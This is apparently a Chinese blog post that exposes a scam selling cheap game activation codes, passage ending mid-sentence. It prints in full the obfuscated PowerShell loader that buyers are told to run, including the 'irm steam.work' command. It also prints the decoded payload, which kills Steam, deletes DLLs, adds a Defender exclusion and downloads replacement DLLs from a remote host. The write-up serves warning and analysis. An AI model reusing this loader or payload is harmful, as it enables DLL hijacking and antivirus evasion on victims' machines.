早上闲着无聊刷小破站的时候看到一个up主的视频,不看不知道一看吓一跳啊,黑心商家真的是可恶。
商家是利用低价的激活吸引人购买,购买激活码后,打开官方兑换渠道是无法进行兑换的,商家会让你执行一段代码,执行代码后才能进行兑换!
看到要执行powershell那就要注意了,首先我们先看看那串代码是什么意思,我们来问问ChatGPT。
那么我们执行一下前面的代码,不执行后面的代码看看返回什么东西。
irm steam.work
可以看获取到一串powershell执行代码,解密它base64部分。
$ r e g w q b e   =   N e w - O b j e c t   " S y s t e m . S e c u r i t y . C r y p t o g r a p h y . A e s M a n a g e d "  
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 $ a t v t   =   [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( " h k d A 0 V h D g / Y C 4 G e Q 1 2 r H b 4 a h i / 6 K n L O 0 Y A 1 G b J 1 3 l B U = " )  
 $ r e g w q b e . I V   =   $ r h f x k e z u [ 0 . . 1 5 ]  
 $ r e g w q b e . P a d d i n g   =   [ S y s t e m . S e c u r i t y . C r y p t o g r a p h y . P a d d i n g M o d e ] : : P K C S 7  
 $ r e g w q b e . M o d e   =   [ S y s t e m . S e c u r i t y . C r y p t o g r a p h y . C i p h e r M o d e ] : : E C B  
 $ r e g w q b e . K e y S i z e   =   1 2 8 
 $ r e g w q b e . K e y   =   $ a t v t  
 $ r e g w q b e . B l o c k S i z e   =   1 2 8  
 $ j o i p h p   =   N e w - O b j e c t   S y s t e m . I O . M e m o r y S t r e a m ( , $ r e g w q b e . C r e a t e D e c r y p t o r ( ) . T r a n s f o r m F i n a l B l o c k ( $ r h f x k e z u , 1 6 , $ r h f x k e z u . L e n g t h - 1 6 ) )  
 $ g i a a i t   =   N e w - O b j e c t   S y s t e m . I O . M e m o r y S t r e a m  
 $ c n u s k g a m   =   N e w - O b j e c t   S y s t e m . I O . C o m p r e s s i o n . G z i p S t r e a m   $ j o i p h p ,   ( [ I O . C o m p r e s s i o n . C o m p r e s s i o n M o d e ] : : D e c o m p r e s s )  
 $ c n u s k g a m . C o p y T o ( $ g i a a i t )  
 $ v n d j s p e n d   =   [ S y s t e m . T e x t . E n c o d i n g ] : : U T F 8 . G e t S t r i n g ( $ g i a a i t . T o A r r a y ( ) )  
 $ c n u s k g a m . C l o s e ( )  
 $ j o i p h p . C l o s e ( )  
 $ r e g w q b e . D i s p o s e ( )  
 I n v o k e - E x p r e s s i o n ( $ v n d j s p e n d )  
 
解密后:
$regwqbe = New-Object "System.Security.Cryptography.AesManaged"
$rhfxkezu = [System.Convert]::FromBase64String("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")
$atvt = [System.Convert]::FromBase64String("hkdA0VhDg/YC4GeQ12rHb4ahi/6KnLO0YA1GbJ13lBU=")
$regwqbe.IV = $rhfxkezu[0..15]
$regwqbe.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$regwqbe.Mode = [System.Security.Cryptography.CipherMode]::ECB
$regwqbe.KeySize = 128
$regwqbe.Key = $atvt
$regwqbe.BlockSize = 128
$joiphp = New-Object System.IO.MemoryStream(,$regwqbe.CreateDecryptor().TransformFinalBlock($rhfxkezu,16,$rhfxkezu.Length-16))
$giaait = New-Object System.IO.MemoryStream
$cnuskgam = New-Object System.IO.Compression.GzipStream $joiphp, ([IO.Compression.CompressionMode]::Decompress)
$cnuskgam.CopyTo($giaait)
$vndjspend = [System.Text.Encoding]::UTF8.GetString($giaait.ToArray())
$cnuskgam.Close()
$joiphp.Close()
$regwqbe.Dispose()
Invoke-Expression($vndjspend)
然后我们再用chatgpt进行分析,好家伙继续套娃。
我们把Invoke-Expression($vndjspend)改成echo $vndjspend输出加密内容,然后powershell执行一下。
PowerShell.exe -ExecutionPolicy Bypass -File C:\Users\00\Desktop\66.ps1
好家伙还继续套娃,我们继续解,直到后面解开为止。
解开代码了,我们来看看它到底想干嘛!
Write-Host -NoNewline " _____ _____ _____ _____
_____ `r" -ForegroundColor:blue
Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \
/\ \ `r" -ForegroundColor:blue
Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \
/::\____\ `r" -ForegroundColor:blue
Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r" -ForegroundColor:blue
Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r" -ForegroundColor:blue
Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r" -ForegroundColor:blue
Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::/ / \::/ / \::/ /
\::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \/____/ \/____/ \/____/
\/____/ `r" -ForegroundColor:blue
function Get-RandomString() {
param(
[int]$length=10,
# [int] ָ
[char[]]$sourcedata
)
for($loop=1; $loop -le $length; $loop++) {
$TempPassword+=($sourcedata | GET-RANDOM | %{[char]$_})
}
return $TempPassword
}
Start-Sleep 1
$tempLog = $env:TEMP+ "\log.txt"
try{
irm -Uri "https://hz-config.oss-accelerate.aliyuncs.com/help.txt" -OutFile $tempLog
}
catch{
Write-Host "NetWork Result-Error" -ForegroundColor:red
}
function PwStart() {
try
{
$steamPath = (Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\SOFTWARE\Valve\Steam\ActiveProcess" -ErrorAction Stop).'SteamClientDll'
$steamPath = $steamPath -replace "steamclient.dll","hid.dll"
if(Get-Process 360Tray* -ErrorAction Stop){
while(Get-Process 360Tray* -ErrorAction Stop){
Write-Host (Get-Content $tempLog)[0] -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart
}
elseif(Get-Process 360sd* -ErrorAction Stop)
{
while(Get-Process 360sd* -ErrorAction Stop){
Write-Host (Get-Content $tempLog)[1] -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart
}
else{
try{
Stop-Process -Name steam* -Force -ErrorAction Stop
Start-Sleep 1
if(Get-Process steam* -ErrorAction Stop){
TASKKILL /F /IM "steam.exe" | Out-Null
Start-Sleep 2
}
if (Test-Path $steamPath) {
Start-Sleep 1
del $steamPath
if (Test-Path $steamPath)
{
Remove-Item -Path $steamPath -Force
Start-Sleep 1
}
Start-Sleep 0.5
}
$steamPath = $steamPath -replace "hid.dll","version.dll"
if (Test-Path $steamPath) {
Start-Sleep 0.5
Remove-Item -Path $steamPath -Force
Start-Sleep 0.5
}
$steamPath = $steamPath -replace "version.dll","user32.dll"
if (Test-Path $steamPath) {
Start-Sleep 0.5
Remove-Item -Path $steamPath -Force
Start-Sleep 0.5
}
$steamPath = $steamPath -replace "user32.dll","hid.dll"
Write-Host "ServerStart [OK]" -ForegroundColor:green
try
{
Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
Start-Sleep 1
# Set-MpPreference -SubmitSamplesConsent 0 -ErrorAction Stop
}
catch
{
}
Write-Host "Result[0] [OK]" -ForegroundColor:green
Invoke-WebRequest -Uri "https://hz-config.oss-accelerate.aliyuncs.com/dwf/PSH" -OutFile $steamPath -ErrorAction Stop
Write-Host "Result[1] [OK]" -ForegroundColor:green
$strfmt = -join ($env:LOCALAPPDATA,"\Microsoft\Tencent")
if ((Test-Path $strfmt)) {
rmdir -Recurse $strfmt | Out-Null
Start-Sleep 1
if ((Test-Path $strfmt)) {
Remove-Item -Path $strfmt -Force -Recurse | Out-Null
}
}
$strfmt = -join ($env:LOCALAPPDATA,"\SteamActive")
if (!(Test-Path $strfmt)) {
md $strfmt | Out-Null
Start-Sleep 1
if (!(Test-Path $strfmt)) {
New-Item $strfmt -ItemType directory -Force | Out-Null
}
}
$strfmt = -join ($env:LOCALAPPDATA,"\SteamActive\hid")
Invoke-WebRequest -Uri "https://hz-config.oss-accelerate.aliyuncs.com/dwf/hid" -OutFile $strfmt -ErrorAction Stop
Write-Host "Result[2] [OK]" -ForegroundColor:green
Start-Sleep 0.5
Start steam://
Write-Host (Get-Content $tempLog)[3] -ForegroundColor:green
Start-Sleep 5
exit
}
catch
{
Write-Host (Get-Content $tempLog)[2] -ForegroundColor:Red
}
}
}
catch{
Write-Host (Get-Content $tempLog)[4] -ForegroundColor:red
}
}
可以看到它直接把360给干掉,对一些dll文件进行修改和删除,估计想dll注入,我们把它oss的文件下载下来,丢入微步进行分析。
PSH文件直接报毒https://s.threatbook.com/report/file/0e346983d60d9eaac363993c09285609af7fa1a461c3fb92659dc7936f68cddd
HID文件还好,但是不排除